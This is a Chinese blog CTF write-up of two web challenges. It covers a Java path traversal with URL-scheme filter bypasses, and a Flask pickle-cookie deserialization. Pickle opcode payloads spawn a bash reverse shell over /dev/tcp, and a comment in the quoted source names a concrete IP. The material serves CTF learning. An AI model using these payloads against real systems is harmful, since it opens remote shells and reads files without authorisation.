长城杯CTF wp(web部分)

0x00 java_url

拿到题目,从题目看不出什么,只知道是java写的,反复试了下,发现download过滤了flag关键字,既然可以下载文件,试了下任意文件下载,读取到web.xml文件,从里面找到源码文件路径:

download?filename=../../../../WEB-INF/web.xml

在web.xml中看到com.test2.aaa1.download,急急忙忙去下载下来,看了半天没找出来漏洞,没看到上面那个真正有用的,错失flag,下面是从大佬博客挖过来的testURL关键源码:

  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String tartget_url = req.getParameter("url");
    String pri = tartget_url.substring(0, tartget_url.indexOf(":"));
    if (pri.matches("(?i)file|(?i)gopher|(?i)data")) {
      resp.getWriter().write(String.valueOf((new StringBuilder()).append("false")));
    } else {
      //如果第一个:前不是file|gopher|data,可以实现任意文件读取
      resp.getWriter().write(String.valueOf(getContent(tartget_url)));
    } 
  }

于是构造payload,读取flag:

/testURL?url=url:file:///flag	# 常规绕过
/testURL?url=%00file:///flag	# 抓包,%00截断

0x01 ez_python

题目描述给了环境,是用的flask,于是尝试SSTI,没有成功,于是换了个思路,尝试任意文件读取,成功:

?pic=/etc/passwd
?pic=/proc/self/cmdline		# 读取到当前工作目录:/app/app.py
?pic=/app/app.py			# 读取源码
?pic=/proc/self/cwd/app/app.py	 # 也可以用cwd切换到当前工作目录
  • /proc目录
    /proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录。如果查看非当前进程的信息,可以对pid进行穷举,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。在cmdline中可以读取到当前进程的工作目录。

app.py:

import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file

app = Flask(__name__)

class User():
    def __init__(self,name,age):
        self.name = name
        self.age = age

def check(s):
    if b'R' in s:
        return 0
    return 1


@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        if check(user):
            user = pickle.loads(user)
            username = user["username"]
        else:
            username = "bad,bad,hacker"
    except:
        username = "CTFer"
    pic = '{0}.jpg'.format(random.randint(1,7))
    
    try:
        pic=request.args.get('pic')
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()
    except:
        pic='{0}.jpg'.format(random.randint(1,7))
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()

    return render_template('index.html', uname=username, pic=p )


if __name__ == "__main__":
    app.run('0.0.0.0',port=8888)# bash -i >& /dev/tcp/112.74.89.58/37051 0>&1

可以发现,check函数过滤了R指令。于是学习了下Python的反序列化,不能说是一知半解,就只能说是一窍不通了,于是手写payload,使用'R'指令的常规版本:

import pickle
import base64
import os

s = b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
tR.
'''
payload = base64.b64encode(pickle.dumps(s))
print(payload)

# 把s拆出来讲一下:
cos		# c<module>
system	# <callable>
-- 引入os模块中的system,并将其push到当前栈stack中
(S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'	# (<args>
-- 将当前栈stack存到前序栈metastack中,清空当前栈stack,再将String压入当前栈stack
t
-- 将当前栈中的值(也就是上面的命令)pop出来并转为tuple,把前序栈metastack还原到stack中,再将tuple压入当前栈stack
R
--pop当前栈stack栈顶记为args、pop当前栈stack的栈顶记为f,执行f(args),将结果压进当前栈stack中
.	# tR.
--.代表结束,返回当前栈顶元素

但很明显,由于R指令被过滤,这样的payload会被服务器过滤,于是使用o指令绕过的版本:

import pickle
import base64
import os

s = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
o.
'''
payload = base64.b64encode(pickle.dumps(s))
print(payload)

# 把s拆出来讲一下:
(cos	# (c<module>
system	# <callable>
-- 引入os模块中的system,并将其push到前序栈stack中
S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'	# <agrs>
-- 将String压入前序栈metastack
o
-- 将前序栈metastack中的值push到栈stack中,并创建实例化对象os.system('bash ...')
.	# o.
--.代表结束,返回当前栈顶元素

抓包,将payload写入到Cookie['user']中,反弹shell。

0x03 参考文章

posted @ 2021-09-24 21:15  Tuzkizki  阅读(809)  评论(0编辑  收藏  举报